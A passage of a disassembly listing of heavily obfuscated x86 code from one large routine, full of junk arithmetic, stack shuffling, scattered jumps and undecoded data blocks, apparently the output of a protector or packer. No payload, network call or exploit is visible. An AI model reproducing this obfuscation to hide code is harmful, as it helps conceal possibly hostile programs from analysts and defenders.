		dd 5681E954h, 31ADFFFFh, 4EC83D8h, 54243489h, 4BF575Eh
		dd 81000000h, 554A32EEh, 0F1AEE92Ch, 0C681FFFFh, 4, 99C3E9h
		dd 4C80000h, 240C8B8Ch,	4C481h,	0C3300000h, 4EC81h, 2C890000h
		dd 0E9E58924h, 0FFFF9DC7h
; ---------------------------------------------------------------------------

loc_55E438:				; CODE XREF: sub_542C3C+1FFA9j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_559430
; ---------------------------------------------------------------------------
aIshfz		db '‰áhfz',0
		dd 688BE900h, 515B0000h, 0E5602AB9h, 26E98111h,	111E560h
		dd 240C8BCBh, 0FFEB31E9h, 391868FFh, 1C890000h,	98E95224h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E477:				; CODE XREF: sub_542C3C+20A73j
		not	edx
		xchg	ebp, edx
		not	ebp
		jmp	loc_561630
; ---------------------------------------------------------------------------

loc_55E482:				; CODE XREF: sub_542C3C+19452j
		add	edi, 92CAA484h
		add	eax, edi
		pop	edi
		push	eax
		jmp	loc_562D36
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68241C89h, 60C2h, 88241489h,	4EC83C6h, 89241489h, 4C281E2h
		dd 83000000h, 148704EAh, 24248B24h, 0E9240C89h,	477h, 5E1C72BBh
		dd 0FFEB816Dh, 81FFFFFFh, 9560DAF3h, 0E3C14B0Ah, 59C38102h
		dd 31A0D18Dh, 0F5015BDEh, 4ED815Eh, 0E9000000h,	234Ah
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	0E0BF243Ch, 0C170FF67h
		dd 0F75703E7h, 3C8B2414h, 4C48124h, 47000000h, 8493E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E519:				; CODE XREF: sub_542C3C+14CEBj
		add	ebx, 54572534h
		push	14D3h
		mov	[esp+0AAh+var_AA], ebp
		mov	ebp, 443A410Bh
		push	ecx
		jmp	loc_568358
; ---------------------------------------------------------------------------

loc_55E532:				; CODE XREF: sub_542C3C+1ED1Fj
		xor	eax, ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0B6h+var_B6], edi
		push	4
		mov	edi, [esp+0BAh+var_BA]
		add	esp, 4
		sub	ebx, edi
		jmp	loc_5632EE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 255E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E569:				; CODE XREF: sub_542C3C+1BEBCj
		mov	ecx, [esp+0B6h+var_B6]
		add	esp, 4
		push	edi
		mov	edi, 7D3F4AA5h
		dec	edi
		inc	edi
		jmp	loc_553594
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C243487h, 0E930FF66h, 0FFFFCEDFh, 0EFC1DFF7h, 4EC8108h
		dd 89000000h, 1CF7243Ch, 0BD555F24h, 4966B3Ch, 0FFC886E9h
		dd 43E954FFh, 2DFFFF52h, 5A7C7715h, 0B951F801h,	435514D6h
		dd 7AD2F181h, 20E971EBh, 81FFFFA8h, 473F7BEBh, 5BD9011Fh
		dd 21226856h, 0C890000h, 4BBCB924h, 0BDE94DF9h,	1FFFF99h
		dd 0BD5552CDh, 3C712B7Eh, 5F36E9h, 240C8900h, 0FF70C9E9h
		dd 241C31FFh, 8B241C33h, 7EE92424h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E607:				; CODE XREF: sub_542C3C+1D7FCj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_556E35
; ---------------------------------------------------------------------------

loc_55E617:				; CODE XREF: sub_542C3C+222F6j
		xor	[esp+0B6h+var_B6], ecx
		xor	ecx, [esp+0B6h+var_B6]
		jmp	loc_55F244
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0EC81C201h, 4, 0E9240C89h, 21DAh,	0B6526658h, 0E9F10899h
		dd 50CBh, 0F705E5C1h, 0FEF581D5h, 1D77425h, 0B8505DEFh
		dd 3DBE25ACh, 8158C729h, 0F43604EFh, 6323E927h,	1C89FFFFh
		dd 2540E924h, 0C1810000h, 43BC40DDh, 0F3E9D129h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E67B:				; CODE XREF: sub_542C3C+167C6j
		pop	ecx
		shr	edx, 8
		sub	edx, 951A6411h
		jmp	loc_55B1CF
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 84AEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E692:				; CODE XREF: sub_542C3C+1A7C2j
		push	ecx
		mov	ecx, 38E7395Ch
		add	ecx, 0FFFFFFFFh
		add	ecx, 21597C62h
		push	ebp
		push	edx
		mov	edx, 377669ABh
		sub	edx, 645E6F9Ch
		dec	edx
		add	edx, 5FC76679h
		add	edx, 75A31D22h
		push	edx
		xchg	ebp, [esp+92h+var_94+2]
		neg	ebp
		xchg	ebp, [esp+92h+var_94+2]
		pop	edx
		xor	edx, 507916Dh
		jmp	loc_5630FF
; ---------------------------------------------------------------------------

loc_55E6D0:				; CODE XREF: sub_542C3C+1EB0Aj
		mov	esi, edi
		pop	edi
		sub	ebp, esi
		mov	esi, [esp+8Ah+var_8C+2]
		add	esp, 4
		mov	ecx, ebp
		mov	ebp, [esp+86h+var_88+2]
		add	esp, 4
		mov	eax, ecx
		mov	ecx, [esp+82h+var_84+2]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 7EFB309Eh
		xor	ebp, 741029BDh
		shr	ebp, 3
		shl	ebp, 6
		add	ebp, 0A8A73704h
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp+86h+var_88+2]
		pop	esp
		jmp	loc_553B53
; ---------------------------------------------------------------------------

loc_55E715:				; CODE XREF: sub_542C3C+1B611j
		xor	ecx, 7B5438F7h
		jmp	loc_5553FA
; ---------------------------------------------------------------------------
		dd 5C240487h, 0FDEF8166h, 0DCF2E9DCh, 0DD01FFFFh, 7608C581h
		dd 0C58104C9h, 3A475F5Ch, 7C70C581h, 1C8B06CAh,	0E3DDE924h
		dd 5168FFFFh, 5A55727Ah, 2404FF52h, 6366E95Ah, 0DEF7FFFFh
		dd 0E6C1DEF7h, 9EEE8108h, 29C16BD8h, 0C5815EF5h, 5605085Ah
		dd 0ED81DD01h, 5605085Ah, 2062BF57h, 0FD012DDDh, 0F5315B5Fh
		dd 3E5C15Eh, 0FFE0D4E9h, 0C98141FFh, 6A91386h, 60CAE9h
		dd 0D3305900h, 0E924148Bh, 8D24h
; ---------------------------------------------------------------------------

loc_55E7A4:				; CODE XREF: sub_542C3C+1A425j
		neg	eax
		xor	eax, 48AF12C8h
		add	eax, 2D8063E4h
		add	ebp, eax
		pop	eax
		xor	ebp, [esp+8Ch+var_8C]
		xor	[esp+8Ch+var_8C], ebp
		jmp	loc_561683
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 243C3124h, 0FF9AA3E9h, 4E9C1FFh, 5702E9C1h, 5BD06CBFh
		dd 3FE98101h, 0E9095D1Dh, 0FFFF9B17h, 3821C281h, 0C5E92A26h
		dd 1FFFF66h, 6D055AD0h,	5B223138h, 0FF8085E9h, 241C8BFFh
		dd 8F04C483h, 248B2404h, 48B6624h, 431EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E80E:				; CODE XREF: sub_542C3C+21BACj
		push	7270h
		mov	[esp+90h+var_90], esi
		sub	[esp+90h+var_90], 495672CEh
		pop	edx
		jmp	loc_562C0A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1C3A68h, 241C8900h, 42474FFh, 0FFFFC4E9h, 0BEC781FFh
		dd 1DA098Eh, 0EC835FF8h, 9F8EE904h, 0FE290000h,	0C205E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E84E:				; CODE XREF: sub_542C3C+244F6j
		pop	edx
		jmp	loc_55D559
; ---------------------------------------------------------------------------

loc_55E854:				; CODE XREF: sub_542C3C+195FBj
		mov	edx, 4
		add	ebp, 74AC739Dh
		sub	ebp, 99A6B8Eh
		sub	ebp, 1D7B71A8h
		add	ebp, edx
		add	ebp, 1D7B71A8h
		push	ebx
		mov	ebx, 33084076h
		sub	ebx, 296DD4E8h
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 193A3325h
		sub	esi, 0F035E82h
		xor	esi, 7E9AA73Eh
		sub	ebp, esi
		push	[esp+0A6h+var_A6]
		pop	esi
		add	esp, 4
		jmp	loc_55C44F
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0EFh
		dd 1BE7B38h, 0C781F729h, 1BE7B38h, 8BE1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E8B9:				; CODE XREF: sub_542C3C+13E34j
		xor	esi, 427C55AAh
		add	ebx, esi
		jmp	loc_55993A
; ---------------------------------------------------------------------------

loc_55E8C6:				; CODE XREF: sub_542C3C+11F30j
		xchg	ebx, [esp+74h+var_74]
		jmp	loc_55836B
; ---------------------------------------------------------------------------

loc_55E8CE:				; CODE XREF: sub_542C3C+23BC2j
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		push	[esp+70h+var_70]
		pop	eax
		add	esp, 4
		xor	esi, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], esi
		xor	esi, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		mov	[esp+6Ch+var_6C], ebx
		push	3A85h
		mov	[esp+70h+var_70], esi
		sub	esp, 4
		mov	[esp+74h+var_74], ebp
		push	eax
		push	edi
		mov	edi, 2B890FFEh
		sub	[esp+7Ch+var_78], edi
		mov	edi, [esp+7Ch+var_7C]
		jmp	loc_56672B
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2BE56h, 0F1010000h, 92DFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E921:				; CODE XREF: sub_542C3C+22C2Cj
		push	eax
		mov	eax, 3AB364E7h
		or	edi, eax
		pop	eax
		jmp	loc_5625F9
; ---------------------------------------------------------------------------
aRS		db 'Áà',8,'éÕ)',0
		dw 8800h
		dd 5595E9F5h, 0D8010000h, 2404335Bh, 33240431h,	248B2404h
		dd 6BAEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E952:				; CODE XREF: sub_542C3C+24CAFj
		not	eax
		not	eax
		add	eax, 1C9C6C83h
		jmp	loc_5656CE
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E904EC83h, 68CFh, 0F7243C89h, 815F2414h
		dd 417D15C7h, 0DF41E945h, 3C87FFFFh, 0FF515C24h, 0B8E9240Ch
		dd 80FFFF85h, 0ED80F9F5h, 4EB044Ch, 2CE8283Bh, 0E6B6523Bh
		dd 0E9FEC680h, 609Ch, 4B9h, 59C80100h, 4BA52h, 0D0010000h
		dd 1BE9505Ah
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E9BB:				; CODE XREF: sub_542C3C+14516j
		mov	ebp, [esp+9Ah+var_9C+2]
		add	esp, 4
		pop	[esp+96h+var_98+2]
		pop	esp
		mov	[esp+8Eh+var_90+2], edx
		push	eax
		mov	eax, 4EFD120Dh
		mov	edx, eax
		jmp	loc_555B82
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 55h
		dd 8B70E9h, 66C80000h, 0A12E952h, 77FF0000h, 59669D1Ch
		dd 9C241CD2h, 0FF4B57E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E9F5:				; CODE XREF: sub_542C3C+247C9j
		push	641E1D11h
		pop	ebx
		add	ebx, 1
		sub	esp, 4
		mov	[esp+96h+var_98+2], edx
		mov	edx, 68744478h
		and	edx, 2A0B753Ah
		jmp	loc_566E54
; ---------------------------------------------------------------------------
		db 0D1h
		dd 81D9F7E9h, 947F08E9h, 19EE81D0h, 14B5176h, 19C681CEh
		dd 8B4B5176h, 0AFE9240Ch, 83FFFFBBh, 34FF04C4h,	0C4815824h
		dd 4, 840FC909h, 0FFFF7A5Bh, 2434FF54h,	0FF2434FFh, 535E2434h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0C4815C24h, 4, 8904EC83h
		dd 5954240Ch, 4C181h, 56500000h, 23E6B850h, 0E0D146EBh
		dd 7902DF2Dh, 58C68966h, 0FF7647E9h, 12BB53FFh,	8930C872h
		dd 0F5015BDEh, 1BE565Eh, 1385578h, 0C5015EF5h, 7801ED81h
		dd 0ED813855h, 30C87212h, 7D46858h, 1C890000h, 66ECE924h
		dd 0E9800000h, 0E9CF30FAh, 0FFFFF26Fh, 0D2F623B2h, 80FFEA80h
		dd 13E901C2h, 0BAFFFF97h, 460A0598h, 8EAC14Ah, 0EAC1D2F7h
		dd 0BF24E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EAF2:				; CODE XREF: sub_542C3C+24213j
		sub	esi, 4C6245E9h
		jmp	loc_55E569
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 4870000h, 14895C24h,	0E95A5424h, 96D2h, 0E92434FFh
		dd 0FFFF7477h, 0B4240489h, 0B6526635h, 0CF36E96Bh, 0E956FFFFh
		dd 5EBCh, 0C581DDF7h, 0FFE05DDEh, 5DE9EA29h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EB3B:				; CODE XREF: sub_542C3C+24FFAj
		add	ebp, 2
		xor	ebp, [esp+96h+var_98+2]
		xor	[esp+96h+var_98+2], ebp
		jmp	loc_554FA0
; ---------------------------------------------------------------------------
		db 1, 0C5h, 0E9h
		dd 20C4h
; ---------------------------------------------------------------------------

loc_55EB50:				; CODE XREF: sub_542C3C+12458j
		push	dword ptr [esp]
		pop	edi
		push	416Ah
		jmp	loc_55BBA8
; ---------------------------------------------------------------------------

loc_55EB5E:				; CODE XREF: sub_542C3C+227BDj
		mov	[esp+0A2h+var_A2], eax
		jmp	loc_55F568
; ---------------------------------------------------------------------------
aLSK		db '‹<$éÙŠ',0
		align 2

loc_55EB6E:				; CODE XREF: sub_542C3C+13F2Bj
		pop	esp
		mov	[esp+78h+var_78], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_555CFB
; ---------------------------------------------------------------------------

loc_55EB81:				; CODE XREF: sub_542C3C+23F21j
		mov	edx, esp
		jmp	loc_5605B2
; ---------------------------------------------------------------------------
		dd 0DCA6856h, 815E318Fh, 0CD2D6CC6h, 5EF789E0h,	4DB8C581h
		dd 0FD2974DEh, 0FFC690E9h, 6C6FBFFFh, 0EF813504h, 0E03E5C19h
		dd 575FFE01h, 3327CABFh, 5FFE0133h, 6468D601h, 0E9000034h
		dd 13FEh, 0FF2434FFh, 0C8B2434h, 4C48124h, 0E9000000h
		dd 66EEh, 0F800F0B7h, 241C8B66h, 81E38953h, 4C3h, 7450E900h
		dd 0ED810000h, 0B643F7h, 5DEA8958h, 5D68E281h, 0C3E92A25h
		dd 57FFFFE0h, 243C8B54h, 50B2E955h, 455FFFFFh, 2CADF581h
		dd 0EC834690h, 24348904h, 0E49F2BEh, 6576E962h,	5866FFFFh
		dd 2836E9h, 55806800h, 24890000h, 24048124h, 4,	0C3BB5358h
		dd 0E96F7040h, 9CE8h, 45E9D789h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EC53:				; CODE XREF: sub_542C3C+15E7Aj
		shr	esi, 1
		jmp	loc_558245
; ---------------------------------------------------------------------------
		dw 0B8B3h
		dd 0FED1C380h, 0EBC380C3h, 0CB80E3D0h, 7BEB80C1h, 0FFB2E4E9h
		dd 1C8B54FFh, 4C48124h,	81000000h, 4C3h, 4C38100h, 33000000h
		dd 2DE9241Ch, 8300000Ah, 48704C0h, 0A6685C24h, 89000079h
		dd 268241Ch, 5B000000h,	0C6148405h, 7091057Ah, 0D801148Bh
		dd 52BA5251h, 0B9463155h, 0CE5A1B3Fh, 4EE9D101h, 5B000076h
		dd 1A8D68h, 24148900h, 0FF5FDDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ECD1:				; CODE XREF: sub_542C3C+142FAj
		xchg	ecx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		sub	esi, 7BA92FB8h
		pop	ebp
		jmp	loc_5670EB
; ---------------------------------------------------------------------------

loc_55ECE3:				; CODE XREF: sub_542C3C+224C4j
		sub	ebx, 0E13818D8h
		mov	ecx, ebx
		mov	ebx, [esp+84h+var_84]
		add	esp, 4
		neg	ecx
		neg	ecx
		shl	ecx, 8
		or	ecx, 291C2274h
		dec	ecx
		jmp	loc_553E1B
; ---------------------------------------------------------------------------
		dd 2414F756h, 0B24FE95Eh, 0DE29FFFFh, 41A7EE81h, 685B7FC1h
		dd 0A4Eh, 53242C89h, 0FF7116E9h, 4C381FFh, 81000000h, 4EBh
		dd 241C8700h, 8924248Bh, 85682434h, 0E9343D69h,	0FFFF867Bh
		dd 0FF45E959h, 6857FFFFh, 43370BD6h, 0FF9150E9h, 81DBF7FFh
		dd 0C4C914F3h, 69DDE9F5h, 0C2810000h, 48A37932h, 9896EA81h
		dd 0D1895451h, 0FF6B03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ED75:				; CODE XREF: sub_542C3C+1483Fj
		mov	eax, 1C9D21FBh
		xor	ecx, eax
		push	[esp+88h+var_88]
		pop	eax
		add	esp, 4
		and	eax, ecx
		push	[esp+84h+var_84]
		mov	ecx, [esp+88h+var_88]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_566F02
; ---------------------------------------------------------------------------
		db 87h
		dd 515C240Ch, 62E9E189h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EDAB:				; CODE XREF: sub_542C3C+1CD7Bj
		add	ebx, 4
		jmp	loc_5635B1
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 0FFE686E9h, 1C335CFFh, 241C3124h, 0E9241C33h, 3556h
		dd 1E41F581h, 44E9249Eh
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EDD7:				; CODE XREF: sub_542C3C+1EB14j
		pop	ecx
		add	ecx, 21575A4Fh
		jmp	loc_563335
; ---------------------------------------------------------------------------
		db 80h
		dd 79E905F5h, 5000075h,	5C8F4128h, 0FFEA9AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EDF5:				; CODE XREF: sub_542C3C+125DFj
		xchg	ecx, ebp
		jmp	loc_5608FC
; ---------------------------------------------------------------------------

loc_55EDFC:				; CODE XREF: sub_542C3C+14864j
		mov	[esp+8Ch+var_8C], edx
		mov	edx, 698E18F3h
		xor	edx, 0F7B3FDCh
		xchg	esi, edx
		jmp	loc_557261
; ---------------------------------------------------------------------------
		db 0BFh, 0CEh, 1Eh
		dd 0CF8128EFh, 18E5D26h, 7AE5E781h, 91E95A15h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EE27:				; CODE XREF: sub_542C3C+22094j
		mov	ebp, 5FD76F1h
		or	ebp, 41B364F5h
		jmp	loc_566D07
; ---------------------------------------------------------------------------
		db 0F6h
		dd 93B652DCh, 80F6CE80h, 0F68038CEh, 5AF400A0h,	34FFE728h
		dd 11E95824h, 83FFFFC4h, 0C3304C1h, 240C3124h, 0E9240C33h
		dd 0FFFFF2A9h, 0C102EAC1h, 0F3E902E2h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EE6F:				; CODE XREF: sub_542C3C+22281j
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		push	edi
		push	[esp+8Ch+var_88]
		mov	edi, [esp+90h+var_90]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561865
; ---------------------------------------------------------------------------

loc_55EE8E:				; CODE XREF: sub_542C3C+213C0j
		and	ebp, edx
		pop	edx
		neg	ebp
		jmp	loc_55ACD0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56531D
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 0E9000000h, 0FFFF5DDAh, 8324148Bh,	7AE904C4h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55EEBF:				; CODE XREF: sub_542C3C+1D4B0j
		mov	esi, 75005D65h
		jmp	loc_560709
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 895C2404h, 71E92404h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55EEDB:				; CODE XREF: sub_542C3C+2006Bj
		add	esp, 4
		shl	ecx, 4
		push	ebp
		mov	ebp, 670167D4h
		not	ebp
		dec	ebp
		xor	ebp, 0F5E07E2Eh
		add	ecx, ebp
		jmp	loc_55F73D
; ---------------------------------------------------------------------------
		db 1
		dd 0C28158C2h, 5FC02B7h, 0FF6E13E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EF05:				; CODE XREF: sub_542C3C+1D880j
		push	ebp
		push	6300h
		mov	[esp+9Ch+var_9C], esp
		add	[esp+9Ch+var_9C], 4
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5654F8
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 0E9243C87h, 98C1h
		dd 0C180D900h, 99045B70h, 992CC800h, 7544E959h,	29BB0000h
		dd 0C16C0908h, 0EB8106EBh, 0D88C03E7h, 0E3E9D809h, 1FFFF91h
		dd 0F10159CEh, 0FFBE79E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EF75:				; CODE XREF: sub_542C3C+1CCE2j
		neg	ecx
		push	edi
		mov	edi, 7383330Bh
		add	ecx, edi
		mov	edi, [esp+9Ch+var_9C]
		add	esp, 4
		push	esi
		mov	esi, 318975C6h
		jmp	loc_56281E
; ---------------------------------------------------------------------------
		db 55h
		dd 2434FF5Bh, 4C4835Dh,	2D47E9h, 247C8800h, 2434FF04h
		dd 0FFAD9DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EFAD:				; CODE XREF: sub_542C3C+1161Fj
		mov	ebx, [esp+78h+var_78]
		jmp	loc_554300
; ---------------------------------------------------------------------------
aSgo		db 'º·^-[éƒO',0
		db 0
; ---------------------------------------------------------------------------

loc_55EFBF:				; CODE XREF: sub_542C3C+21393j
		xor	eax, [esp+78h+var_78]
		jmp	loc_563508
; ---------------------------------------------------------------------------

loc_55EFC7:				; CODE XREF: sub_542C3C+16C6Aj
		mov	[esp+80h+var_80], ebx
		push	edi
		mov	edi, 4469132Dh
		not	edi
		dec	edi
		jmp	loc_55F035
; ---------------------------------------------------------------------------
		dd 4C481h, 0EB870000h, 0FFB914E9h, 0FAEF81FFh, 1255305h
		dd 5AF0E9DFh, 0F1F7FFFFh, 0FFF212E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55EFF9:				; CODE XREF: sub_542C3C+16811j
		mov	edx, [esp+0A2h+var_A2]
		jmp	loc_557734
; ---------------------------------------------------------------------------
		db 0ADh, 5, 0FCh
		dd 29050409h, 5E0A68D8h, 34890000h, 474D6824h, 14890000h
		dd 27FEBA24h, 0F74A525Ah, 6EA81D2h, 55A8A1CEh, 0EE89D589h
		dd 24148B5Dh, 38AFE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F035:				; CODE XREF: sub_542C3C+1C397j
		sub	edi, 648AB994h
		push	edi
		pop	ebx
		pop	edi
		push	3137h
		mov	[esp+84h+var_84], edi
		mov	edi, 583B303Ah
		jmp	loc_556144
; ---------------------------------------------------------------------------
		dd 0D887C681h, 0FE31E623h, 0D8E9525Fh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F05F:				; CODE XREF: sub_542C3C+1A34Cj
		sub	edx, ebp
		pop	ebp
		mov	esi, [esp+88h+var_88]
		add	esp, 4
		xor	edx, 6CC33777h
		jmp	loc_555B1C
; ---------------------------------------------------------------------------

loc_55F076:				; CODE XREF: sub_542C3C+1E379j
		pop	eax
		jmp	loc_56405E
; ---------------------------------------------------------------------------

loc_55F07C:				; CODE XREF: sub_542C3C+20F60j
		xchg	ebp, ecx
		add	ecx, 0D1129B1Bh
		mov	ebx, ecx
		mov	ecx, [esp+80h+var_80]
		add	esp, 4
		xor	ebx, 928EC2E1h
		sub	edi, ebx
		pop	ebx
		mov	ebp, edi
		mov	edi, [esp+78h+var_78]
		jmp	loc_565FFA
; ---------------------------------------------------------------------------

loc_55F0A2:				; CODE XREF: sub_542C3C+145F1j
		sub	edi, 0D705FFAh
		jmp	loc_553966
; ---------------------------------------------------------------------------

loc_55F0AD:				; CODE XREF: sub_542C3C+24649j
		inc	ebx
		shl	ebx, 8
		shr	ebx, 3
		or	ebx, 473E68CCh
		sub	ebx, 47FEFCE8h
		add	ebp, ebx
		jmp	loc_554348
; ---------------------------------------------------------------------------
		db 81h
		dd 4ABD8EDh, 781A2DAAh,	0E8290A73h, 3F88E9h, 2434FF00h
		dd 5A9CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55F0E1:				; CODE XREF: sub_542C3C+19DD9j
		xor	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 4D2E4DCDh
		push	edi
		mov	edi, 7576119h
		neg	edi
		shl	edi, 8
		jmp	loc_55D032
; ---------------------------------------------------------------------------

loc_55F0FA:				; CODE XREF: sub_542C3C+1AD79j
		mov	eax, 14B1BE1h
		sub	edx, eax
		jmp	loc_55D6EA
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 29EC5ED9h, 8104EBC1h, 756D40CBh, 65F38121h, 897BF291h
		dd 241C8BDEh, 7A46E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F125:				; CODE XREF: sub_542C3C+18859j
		or	eax, 1BA049C3h
		shr	eax, 7
		shr	eax, 6
		and	eax, 4CC755C9h
		or	eax, 41D54BD2h
		xor	eax, 9B8D264Ah
		sub	ebx, eax
		pop	eax
		add	ebp, 5B415BAEh
		add	ebp, ebx
		sub	ebp, 5B415BAEh
		pop	ebx
		add	ebp, 4
		push	ebp
		push	[esp+88h+var_84]
		pop	ebp
		pop	[esp+88h+var_88]
		pop	esp
		jmp	loc_55A409
; ---------------------------------------------------------------------------

loc_55F166:				; CODE XREF: sub_542C3C+1A7D6j
		or	edx, eax
		shl	edx, 1
		push	702Ch
		mov	[esp+94h+var_94], ebp
		push	edi
		push	1B2259F1h
		pop	edi
		jmp	loc_55F593
; ---------------------------------------------------------------------------

loc_55F17E:				; CODE XREF: sub_542C3C+229F9j
		push	ebp
		xor	[esp+9Ch+var_9C], 51FF6FF6h
		mov	eax, [esp+9Ch+var_9C]
		jmp	loc_5646BA
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 0EF18104h, 56A974FEh, 0FF47FDE9h, 0BBE95AFFh, 89h, 2FE951C3h
		dd 66000034h, 6824048Bh, 6282h,	54241C89h, 8368E95Bh, 0EC830000h
		dd 24348904h, 0FFB74AE9h, 0C68158FFh, 1B367B22h, 8FB7E9h
		dd 5EDC100h, 782E9h, 8C78100h, 8155B971h, 0EE1D0EF7h, 2A96E94Ch
		dd 305B0000h, 45B1E9E1h, 0F281FFFFh, 0F295A9BCh, 0FFDD29E9h
		dd 2434FFFFh, 8324048Bh, 6B6804C4h, 8900007Fh, 8B542434h
		dd 89532434h, 4C381E3h,	0E9000000h, 0FFFFF0D2h,	8158C301h
		dd 4C3h, 74FF5300h, 0E95B0424h,	6446h
; ---------------------------------------------------------------------------

loc_55F238:				; CODE XREF: sub_542C3C+128FCj
		mov	edi, 4
		mov	ecx, edi
		jmp	loc_55DA7C
; ---------------------------------------------------------------------------

loc_55F244:				; CODE XREF: sub_542C3C+1B9E1j
		pop	esp
		mov	word ptr [esp+0B2h+var_B2], bx
		push	edx
		push	ebx
		jmp	loc_55A443
; ---------------------------------------------------------------------------
		dd 7912EBB8h, 30772D6Bh, 0E8C16048h, 3E0C105h, 5B4D68h
		dd 240C8900h, 5B122FB9h, 0FFBB5339h, 29FFFFFFh,	6720E9D9h
		dd 0E951FFFFh, 9596h
; ---------------------------------------------------------------------------

loc_55F280:				; CODE XREF: sub_542C3C+21289j
		pop	esi
		sub	ebp, edx
		pop	edx
		jmp	loc_565AAE
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 148B0424h, 0E0895024h, 405h,	74D9E900h, 34FF0000h, 0E9515824h
		dd 40E4h, 129D68h, 241C8900h, 4BBh, 24448100h, 237E3B04h
		dd 9850E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F2C2:				; CODE XREF: sub_542C3C+25730j
		or	ebp, 104678CEh
		shl	ebp, 1
		shr	ebp, 6
		sub	ebp, 5E2BDFEAh
		add	ebx, ebp
		pop	ebp
		add	ecx, ebx
		jmp	loc_55874A
; ---------------------------------------------------------------------------

loc_55F2DD:				; CODE XREF: sub_542C3C+15D3Fj
		push	ecx
		mov	ecx, 4F5F106Bh
		add	ecx, 0B0A0EF99h
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], edi
		jmp	loc_55FD9E
; ---------------------------------------------------------------------------
a313S		db '3<$1<$3<$é',9,'"',0
		align 4

loc_55F30C:				; CODE XREF: sub_542C3C+1A7B3j
		sub	edx, 18862AF4h
		sub	ecx, 3B1753E8h
		add	ecx, edx
		add	ecx, 3B1753E8h
		jmp	loc_564E57
; ---------------------------------------------------------------------------
		db 88h,	0FDh, 0E9h
		dd 8EC8h, 0E9240487h, 0FFFF8580h, 172E2D5Ch, 432D718Fh
